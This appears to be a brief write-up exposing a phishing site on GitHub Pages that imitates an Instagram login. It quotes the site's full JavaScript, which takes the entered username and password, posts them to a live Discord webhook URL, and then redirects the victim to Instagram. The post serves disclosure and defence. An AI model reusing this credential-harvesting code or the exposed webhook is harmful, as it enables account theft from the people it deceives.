https://helpingto.github.io/you.github.io/
This is a GitHub page impersonating an Instagram login page
Person’s GitHub Account: https://github.com/helpingto (the source for the phishing site is publicly available, bruh)
Credentials are sent by a POST requests to https://discord.com/api/webhooks/901767746667298856/SehdolTZQxevV4naX26MEBrjfdmkw1l7wOeK_Y0QrnoasbvPa-nVRs269qYrqBGslZ-Q.
function sendMessage() {
function sleep(milliseconds) {
const date = Date.now();
let currentDate = null;
do {
currentDate = Date.now();
} while (currentDate - date < milliseconds);
}
var request = new XMLHttpRequest();
request.open("POST", "https://discord.com/api/webhooks/901767746667298856/SehdolTZQxevV4naX26MEBrjfdmkw1l7wOeK_Y0QrnoasbvPa-nVRs269qYrqBGslZ-Q");
request.setRequestHeader('Content-type', 'application/json');
var params = {
content: ("> **USERNAME : **" + document.getElementById('username').value + "\n> **PASSWORD : **" + document.getElementById('password').value)
}
request.send(JSON.stringify(params));
sleep(400)
window.location.replace("https://www.instagram.com/upscworldofficial/");
}
I’m guessing that once the credentials are sent, the person who created the phishing site recieves the credentials on their Discord server via the webhook.
